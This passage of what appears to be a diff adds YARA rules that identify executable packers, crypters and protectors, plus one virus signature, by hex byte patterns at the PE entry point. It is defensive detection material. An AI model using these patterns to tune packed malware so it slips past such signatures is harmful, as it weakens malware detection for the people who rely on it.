+			$a0 = { A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 31 FF 31 F6 C3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PseudoSigner02Armadillo300Anorganix
+	{
+	strings:
+			$a0 = { 60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule hmimyssPEPack01hmimys
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 5D 83 ED 05 6A 00 FF 95 E1 0E 00 00 89 85 85 0E 00 00 8B 58 3C 03 D8 81 C3 F8 00 00 00 80 AD 89 0E 00 00 01 89 9D 63 0F 00 00 8B 4B 0C 03 8D 85 0E 00 00 8B 53 08 80 BD 89 0E 00 00 00 75 0C 03 8D 91 0E 00 00 2B 95 91 0E 00 00 89 8D 57 0F 00 00 89 95 5B 0F 00 00 8B 5B 10 89 9D 5F 0F 00 00 8B 9D 5F 0F 00 00 8B 85 57 0F 00 00 53 50 E8 B7 0B 00 00 89 85 73 0F 00 00 6A 04 68 00 10 00 00 50 6A 00 FF 95 E9 0E 00 00 89 85 6B 0F 00 00 6A 04 68 00 10 00 00 68 D8 7C 00 00 6A 00 FF 95 E9 0E 00 00 89 85 6F 0F 00 00 8D 85 67 0F 00 00 8B 9D 73 0F 00 00 8B 8D 6B 0F 00 00 8B 95 5B 0F 00 00 83 EA 0E 8B B5 57 0F 00 00 83 C6 0E 8B BD 6F 0F 00 00 50 53 51 52 56 68 D8 7C 00 00 57 E8 01 01 00 00 8B 9D 57 0F 00 00 8B 03 3C 01 75 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PECompactv146
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 60 12 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02XCR011Anorganix
+	{
+	strings:
+			$a0 = { 60 8B F0 33 DB 83 C3 01 83 C0 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXEPACKLINKv360v364v365or50121
+	{
+	strings:
+			$a0 = { 8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 ?? ?? ?? 8E C0 8B ?? ?? ?? 8B ?? 4F 8B F7 FD F3 A4 50 B8 ?? ?? 50 CB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SpecialEXEPasswordProtectorv10
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RCryptor15Vaska
+	{
+	strings:
+			$a0 = { 83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? ?? EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeJoiner10Yoda
+	{
+	strings:
+			$a0 = { 68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 E8 E2 02 00 00 83 F8 FF 0F 84 6D 02 00 00 A3 0C 12 40 00 8B D8 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 E3 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1E 12 40 00 FF 35 08 12 40 00 E8 C4 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackV119DllaPlib043ap0x
+	{
+	strings:
+			$a0 = { 80 7C 24 08 01 0F 85 89 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 48 04 00 00 00 74 0E 83 BD 4C 04 00 00 00 74 05 E8 B8 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 D1 03 00 00 89 85 5C 04 00 00 5B FF B5 5C 04 00 00 56 FF D3 83 C4 08 8B B5 5C 04 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 E9 94 00 00 00 56 FF 95 C9 03 00 00 85 C0 0F 84 B4 00 00 00 89 85 54 04 00 00 8B C6 EB 5B 8B 85 58 04 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 58 04 00 00 C7 00 20 20 20 00 EB 06 FF B5 58 04 00 00 FF B5 54 04 00 00 FF 95 CD 03 00 00 85 C0 74 71 89 07 83 C7 04 8B 85 58 04 00 00 EB 01 40 80 38 00 75 FA 40 89 85 58 04 00 00 66 81 78 02 00 80 74 A5 80 38 00 75 A0 EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 80 3E 01 0F 85 63 FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 5C 04 00 00 FF 95 D5 03 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CrypKeyV56XKenonicControlsLtd
+	{
+	strings:
+			$a0 = { E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 00 75 07 6A 00 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Safe20
+	{
+	strings:
+			$a0 = { 83 EC 10 53 56 57 E8 C4 01 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule MicrosoftVisualCV80
+	{
+	strings:
+			$a0 = { 6A 14 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB 94 00 00 00 53 6A 00 8B ?? ?? ?? ?? ?? FF D7 50 FF ?? ?? ?? ?? ?? 8B F0 85 F6 75 0A 6A 12 E8 ?? ?? ?? ?? 59 EB 18 89 1E 56 FF ?? ?? ?? ?? ?? 56 85 C0 75 14 50 FF D7 50 FF ?? ?? ?? ?? ?? B8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule MZ_Crypt10byBrainSt0rm
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 25 14 40 00 8B BD 77 14 40 00 8B 8D 7F 14 40 00 EB 28 83 7F 1C 07 75 1E 8B 77 0C 03 B5 7B 14 40 00 33 C0 EB 0C 50 8A A5 83 14 40 00 30 26 58 40 46 3B 47 10 76 EF 83 C7 28 49 0B C9 75 D4 8B 85 73 14 40 00 89 44 24 1C 61 FF E0 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule EPWv130
+	{
+	strings:
+			$a0 = { 06 57 1E 56 55 52 51 53 50 2E 8C 06 08 00 8C C0 83 C0 10 2E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WindofCrypt10byDarkPressure
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 64 40 00 10 E8 28 EA FF FF 33 C0 55 68 CE 51 00 10 64 ?? ?? ?? ?? 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 F6 DB FF FF 8B 45 EC E8 12 E7 FF FF 50 E8 3C EA FF FF 8B D8 83 FB FF 0F 84 A6 00 00 00 6A 00 53 E8 41 EA FF FF 8B F0 81 EE 00 5E 00 00 6A 00 6A 00 68 00 5E 00 00 53 E8 52 EA FF FF B8 F4 97 00 10 8B D6 E8 2E E7 FF FF B8 F8 97 00 10 8B D6 E8 22 E7 FF FF 8B C6 E8 AB D8 FF FF 8B F8 6A 00 68 F0 97 00 10 56 A1 F4 97 00 10 50 53 E8 05 EA FF FF 53 E8 CF E9 FF FF B8 FC 97 00 10 BA E8 51 00 10 E8 74 EA FF FF A1 F4 97 00 10 85 C0 74 05 83 E8 04 8B 00 50 B9 F8 97 00 10 B8 FC 97 00 10 8B 15 F4 97 00 10 E8 D8 EA FF FF B8 FC 97 00 10 E8 5A EB FF FF 8B CE 8B 15 F8 97 00 10 8B C7 E8 EB E9 FF FF 8B C7 85 C0 74 05 E8 E4 EB FF FF 33 C0 5A 59 59 64 89 10 68 D5 51 00 10 8D 45 EC E8 BB E5 FF FF C3 E9 A9 DF FF FF EB F0 5F 5E 5B E8 B7 E4 FF FF 00 00 00 FF FF FF FF 0A 00 00 00 63 5A 6C 56 30 55 6C 6B 70 4D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NTKrnlPackerAshkbizDanehkar
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 }
+
+	condition:
+			$a0
+	}
+	rule PseudoSigner01LCCWin321xAnorganix
+	{
+	strings:
+			$a0 = { 64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NME11Publicbyredlime
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 53 56 B8 30 35 14 13 E8 9A E6 FF FF 33 C0 55 68 6C 36 14 13 64 FF 30 64 89 20 B8 08 5C 14 13 BA 84 36 14 13 E8 7D E2 FF FF E8 C0 EA FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 04 F8 FF FF 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 F4 F7 FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 2C F9 FF FF A3 F8 5A 14 13 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 17 F9 FF FF A3 FC 5A 14 13 B8 04 5C 14 13 E8 20 FB FF FF 8B D8 85 DB 74 48 B8 00 5B 14 13 8B 15 C4 45 14 13 E8 1E E7 FF FF A1 04 5C 14 13 E8 A8 DA FF FF ?? ?? ?? ?? 5C 14 13 50 8B CE 8B D3 B8 00 5B 14 13 ?? ?? ?? ?? FF 8B C6 E8 DF FB FF FF 8B C6 E8 9C DA FF FF B8 00 5B 14 13 E8 72 E7 FF FF 33 C0 5A 59 59 64 89 10 68 73 36 14 13 C3 E9 0F DF FF FF EB F8 5E 5B E8 7E E0 FF FF 00 00 FF FF FF FF 0C 00 00 00 4E 4D 45 20 31 2E 31 20 53 74 75 62 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PEtitev13
+	{
+	strings:
+			$a0 = { 66 9C 60 50 8D 88 ?? F0 ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1 68 ?? ?? ?? ?? 53 50 80 04 24 08 50 80 04 24 42 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEtitev12
+	{
+	strings:
+			$a0 = { 9C 60 E8 CA ?? ?? ?? 03 ?? 04 ?? 05 ?? 06 ?? 07 ?? 08 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv134v140b1
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 00 80 ?? 40 90 90 01 85 9E 80 ?? 40 BB F8 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakeMSVC70DLLMethod3emadicius
+	{
+	strings:
+			$a0 = { 55 8B EC 53 8B 5D 08 56 8B 75 0C 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEtitev14
+	{
+	strings:
+			$a0 = { 66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 14 8B CC }
+	$a1 = { 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule SoftProtectSoftProtectbyru
+	{
+	strings:
+			$a0 = { EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 60 E8 03 ?? ?? ?? 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 EB 01 83 9C EB 01 D5 EB 08 35 9D EB 01 89 EB 03 0B EB F7 E8 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 59 83 01 01 80 39 5C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02CDCopsIIAnorganix
+	{
+	strings:
+			$a0 = { 53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPack118LZMA430ap0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 ?? 83 3C 37 00 75 E6 83 BD 0D 0B 00 00 00 74 0E 83 BD 11 0B 00 00 00 74 05 E8 F6 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 1D 0B 00 00 5B 60 FF B5 F9 0A 00 00 56 FF B5 1D 0B 00 00 FF D3 61 8B B5 1D 0B 00 00 8B C6 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASPackv108xAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 EB 03 5D FF E5 E8 F8 FF FF FF 81 ED 1B 6A 44 00 BB 10 6A 44 00 03 DD 2B 9D 2A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02BorlandCDLLMethod2Anorganix
+	{
+	strings:
+			$a0 = { EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ARMProtector01bySMoKE
+	{
+	strings:
+			$a0 = { E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule tElock099cPrivateECLIPSEtE
+	{
+	strings:
+			$a0 = { E9 3F DF FF FF 00 00 00 ?? ?? ?? ?? 04 ?? ?? 00 00 00 00 00 00 00 00 00 24 ?? ?? 00 14 ?? ?? 00 0C ?? ?? 00 00 00 00 00 00 00 00 00 31 ?? ?? 00 1C ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C ?? ?? 00 00 00 00 00 4F ?? ?? 00 00 00 00 00 3C ?? ?? 00 00 00 00 00 4F ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule XPack152164
+	{
+	strings:
+			$a0 = { 8B EC FA 33 C0 8E D0 BC ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASProtectv123RC4build0807dllAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov253b3
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 D8 ?? ?? ?? 68 14 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Imploderv104BoBBobSoft
+	{
+	strings:
+			$a0 = { 60 E8 A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PEiDBundlev100v101BoBBobSoft
+	{
+	strings:
+			$a0 = { 60 E8 ?? 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule JExeCompressor10byArashVeyskarami
+	{
+	strings:
+			$a0 = { 8D 2D D3 4A E5 14 0F BB F7 0F BA E5 73 0F AF D5 8D 0D 0C 9F E6 11 C0 F8 EF F6 DE 80 DC 5B F6 DA 0F A5 C1 0F C1 F1 1C F3 4A 81 E1 8C 1F 66 91 0F BE C6 11 EE 0F C0 E7 33 D9 64 F2 C0 DC 73 0F C0 D5 55 8B EC BA C0 1F 41 00 8B C2 B9 97 00 00 00 80 32 79 50 B8 02 00 00 00 50 03 14 24 58 58 51 2B C9 B9 01 00 00 00 83 EA 01 E2 FB 59 E2 E1 FF E0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Alloy4xPGWareLLC
+	{
+	strings:
+			$a0 = { 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ThinstallV2403Jitit
+	{
+	strings:
+			$a0 = { 6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 }
+	$a1 = { 6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00 57 BF 00 00 80 00 39 79 14 77 36 53 56 8B B1 29 04 00 00 8B 41 0C 8B 59 10 03 DB 8A 14 30 83 E2 01 0B D3 C1 E2 07 40 89 51 10 89 41 0C 0F B6 04 30 C1 61 14 08 D1 E8 09 41 10 39 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule FakeNinjav28AntiDebugSpirit
+	{
+	strings:
+			$a0 = { 64 A1 18 00 00 00 EB 02 C3 11 8B 40 30 EB 01 0F 0F B6 40 02 83 F8 01 74 FE EB 01 E8 90 C0 FF FF EB 03 BD F4 B5 64 A1 30 00 00 00 0F B6 40 02 74 01 BA 74 E0 50 00 64 A1 30 00 00 00 83 C0 68 8B 00 EB 00 83 F8 70 74 CF EB 02 EB FE 90 90 90 0F 31 33 C9 03 C8 0F 31 2B C1 3D FF 0F 00 00 73 EA E8 08 00 00 00 C1 3D FF 0F 00 00 74 AA EB 07 E8 8B 40 30 EB 08 EA 64 A1 18 00 00 00 EB F2 90 90 90 BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40 11 00 00 6A 00 6A 00 FF 35 70 11 40 00 FF 35 84 11 40 00 E8 25 11 00 00 FF }
+
+	condition:
+			$a0
+	}
+	rule ExeLockv100
+	{
+	strings:
+			$a0 = { 06 8C C8 8E C0 BE ?? ?? 26 ?? ?? 34 ?? 26 ?? ?? 46 81 ?? ?? ?? 75 ?? 40 B3 ?? B3 ?? F3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEtitevxx
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 66 9C 60 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EnigmaProtector10XSukhovVladimir
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 83 ?? ?? 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 C4 04 EB 02 ?? ?? 60 E8 24 00 00 00 00 00 ?? EB 02 ?? ?? 8B 44 24 0C 83 80 B8 00 00 00 03 31 C0 C3 83 C0 08 EB 02 ?? ?? 89 C4 61 EB 2E ?? ?? ?? ?? ?? ?? ?? EB 01 ?? 31 C0 EB 01 ?? 64 FF 30 EB 01 ?? 64 89 20 EB 02 ?? ?? 89 00 9A 64 8F 05 00 00 00 00 EB 02 C1 ?? 58 61 EB 01 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ThinstallEmbedded27172719Jitit
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 C1 FE FF FF E9 97 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASPackv102bAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 96 78 43 00 B8 90 78 43 00 03 C5 }
+	$a1 = { 60 E8 ?? ?? ?? ?? 5D 81 ED 96 78 43 ?? B8 90 78 43 ?? 03 C5 2B 85 7D 7C 43 ?? 89 85 89 7C 43 ?? 80 BD 74 7C 43 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule PEProtect09byCristophGabler1998
+	{
+	strings:
+			$a0 = { 50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule VxPredator2448
+	{
+	strings:
+			$a0 = { 0E 1F BF ?? ?? B8 ?? ?? B9 ?? ?? 49 ?? ?? ?? ?? 2A C1 4F 4F ?? ?? F9 CC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakeMSVC60DLLemadicius
+	{
+	strings:
+			$a0 = { 55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 5F 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RCryptorv16dVaska
+	{
+	strings:
+			$a0 = { 60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 }
